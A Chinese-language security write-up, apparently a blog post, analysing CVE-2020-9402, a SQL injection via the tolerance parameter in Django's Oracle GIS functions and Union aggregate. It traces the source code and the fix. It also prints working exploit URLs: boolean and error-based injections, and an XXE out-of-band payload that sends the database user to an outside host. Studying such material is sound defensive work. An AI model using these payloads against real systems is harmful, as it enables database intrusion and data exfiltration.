0x00前言
又迎来Django一个sql注入的命令执行,因此来分析分析。
CVE-2020-9402: Potential SQL injection via tolerance parameter in GIS functions and aggregates on Oracle GIS functions and aggregates on Oracle were subject to SQL injection, using a suitably crafted tolerance.
0x01GIS
根据官网的修复https://github.com/django/django/commit/6695d29b1c1ce979725816295a26ecc64ae0e927#diff-229e38ececbfc591f7a5e595bf5707c4,可以看到问题出在GIS的查询上面
官方只修复了这两个位置,可以发现基本上是对于tolerance
参数进行判断是否为数字。那首先来了解一下GIS查询。
GIS查询API是一个地理位置的查询API,提供用户存储精确GPS的位置的数据模块,属于一个空间数据库,我们可以通过如下的经纬度信息
pnt = GEOSGeometry('POINT(-96.876369 29.905320)', srid=4326) >>>SRID=4326;POINT (-96.876369 29.90532)
来获得一个具体的定位信息,通过如下的模块来构建一个基本的地理信息存储
from django.contrib.gis.db import models class Names(models.Model): name = models.CharField(max_length=128) def __str__(self): return self.name class Interstate(Names): path = models.LineStringField()
后台存储的时候发出path的信息为json数据,例如
{"type":"LineString","coordinates":[[-8167.236601807093,-3286.248045708844],[-7896.285624495958,-3324.9553281818644],[1083.8039092445451,-654.1528375435246]]}
我们就获得了一个基本的地理位置数据,同理,通过构造一个聚合的查询方法
def vuln(request): q = request.GET.get('q') qs=Interstate.objects.annotate( d=Distance( Point(-0.0733675346842369, -0.0295208671625432, srid=4326), Point(0.009735976166628611, -0.00587635491086091, srid=4326), tolerance = q, # default 0.05 ), ).filter(d=D(m=1)).values('name')
因为官网文档找不到如何构造Point查询,因此为了省事,直接写死了Point数值。。srid为空间参考的投影设置,默认值为4326。其中tolerance
是对于oracle特殊存在的一个键值,其作用是基本你的容错率,详细的信息可以参考oracle官方文档。对应的查询语句为
SELECT "APP_NAMEDMODEL"."NAME" FROM "APP_INTERSTATE" INNER JOIN "APP_NAMEDMODEL" ON ("APP_INTERSTATE"."NAMEDMODEL_PTR_ID" = "APP_NAMEDMODEL"."ID") WHERE SDO_GEOM.SDO_DISTANCE(SDO_GEOMETRY(POINT (-0.0733675346842369 -0.0295208671625432),4326), SDO_GEOMETRY(POINT (0.009735976166628611 -0.00587635491086091),4326), 0.05) = 1.0 FETCH FIRST 21 ROWS ONLY;
0x02代码分析
首先从传入一个url
http://127.0.0.1:8000/vuln/?q=20) = 1 OR 1=1 OR (1%2B1
从annotate
聚合函数开始跟进,同普通的model函数查询一样,gis查询虽然拥有着单独的model模块,但依旧还是依靠着普通model中进行过滤和查询。从gis的model文件夹中的__init__.py
文件中看
主要的查询依然调用的是django最基本的db方法,而其中单独定义了function
方法等一些对地理位置插叙独特的方法。程序运行到/django/db/models/manager.py
文件中的_get_queryset_methods
后,获取到tolerant参数之后便直接进入到gis模块中进行查询
继而进入到django/contrib/gis/measure.py
文件中的MeasureBase
类中进行方法调用,那么后面的方法分析可以跳过,因此直接来到漏洞代码段。先来看gis API中的functions函数,在as_oracle方法这一段
def as_oracle(self, compiler, connection, **extra_context): tol = self.extra.get('tolerance', self.tolerance) return self.as_sql( compiler, connection, template="%%(function)s(%%(expressions)s, %s)" % tol, **extra_context )
tolerance
从self.extra.get导入,该方法会搜索全局变量的值,如果该值不存在,则直接设置为0.05,并且将其直接传入到新的变量中。之后则不对tol进行任何处理直接拼接到template字符串中并且传入as_sql
方法。那么官方对于as_sql的文档是,此方法需要一个SQLCompiler对象,位于django/db/models/sql/compiler.py
文件中。而我们只需要知道在该对象中有一个compile()
方法,该方法可以返回一个包含SQL字符串的元祖,而SQLComiler对象中的query变量则是存储直接进行SQL查询语句的SQL命令。从而两个Point分别进入compile
方法中进行拼接
不知道为什么,用pycharm在as_oracle下断点的时候,第一次到达SQLCompiler的时候,pycharm不会在as_oracle函数中停下来,而是在第二次查询的时候才会停,但是经过测试确实是在进入SQLCompiler之前调用过as_orcle函数,可能是pycharm没有正确识别重载函数吧。之后template构造模版也因此进入到expression.py
中的as_sql函数中进行字符串构造
因此最后进入oracle的命令语句是
SELECT "APP_NAMEDMODEL"."NAME" FROM "APP_INTERSTATE" INNER JOIN "APP_NAMEDMODEL" ON ("APP_INTERSTATE"."NAMEDMODEL_PTR_ID" = "APP_NAMEDMODEL"."ID") WHERE SDO_GEOM.SDO_DISTANCE(SDO_GEOMETRY(POINT (-0.0733675346842369 -0.0295208671625432),4326), SDO_GEOMETRY(POINT (0.009735976166628611 -0.00587635491086091),4326), 0.05) = 1 OR 1=1 OR (1+1) = 1.0 FETCH FIRST 21 ROWS ONLY;
带入数据库中查询
官方修复的方法就是加入Value函数,判断传入的值是否为数字,否的话直接报错推出。那么第二个注入点就是Union
了,建立Model
class City(Names): point = models.PointField() # 点模块
编辑传入的参数为
{"type":"Point","coordinates":[13250.226757682816,68815.69380603009]}
view中设置查询
from django.contrib.gis.db.models import Union def vuln2(request): q = request.GET.get('q') res = City.objects.aggregate( Union('point', tolerance=q), ) return HttpResponse(res)
输入url
http://127.0.0.1:8000/vuln2?q=0.05)))%2C%20(((1
首先看结果,得到的SQL查询语句为
SELECT SDO_UTIL.TO_WKBGEOMETRY(SDO_AGGR_UNION(SDOAGGRTYPE("APP_CITY"."POINT",0.05))), (((1))) AS "POINT__UNION" FROM "APP_CITY";
该aggregate查询方法是GIS查询特定的一种查询方法,为的是与地理查询的语句做适配,用法跟原模块的方法类似。因此跟进GIS模块中的聚合查询方法,位于django/contrib/gis/db/models/aggregates.py
文件内的as_oracle方法。
同样tolerance没有做任何检查直接传入了template模版语句中,原理与上面annotate查询过程一致。利用有大致两个方法
报错注入
http://localhost:8000/test/?q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v%24instance)) from dual) is null%20 OR (1%2B1
CVE-2014-6577
因为Django自2.0以后支持的oracle版本为12以上,因此可以尝试oracle XXE来进行SQL的注入。同时因为在SQL处理的过程中有三次利用%的模版跳转,因此需要在XMLpayload中的%替换为%%%%,payload为
http://localhost:8000/test/?q=20) = 1 OR (select%20extractvalue(xmltype('%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20root%20%5B%20%3C!ENTITY%20%25%25%25%25%20remote%20SYSTEM%20%22http%3A%2F%2Fdocker.for.mac.host.internal%3A9000%2F'%7C%7C(SELECT%20user%20from%20dual)%7C%7C'%22%3E%20%25%25%25%25remote%3B%5D%3E')%2C'%2Fl')%20from%20dual)%20is%20not%20null OR (1%2B1
命令执的话因为是docker起的oracle所以没有设置JAVA的环境,暂时也不能判定有没有,以后再研究看看。
0xFF Reference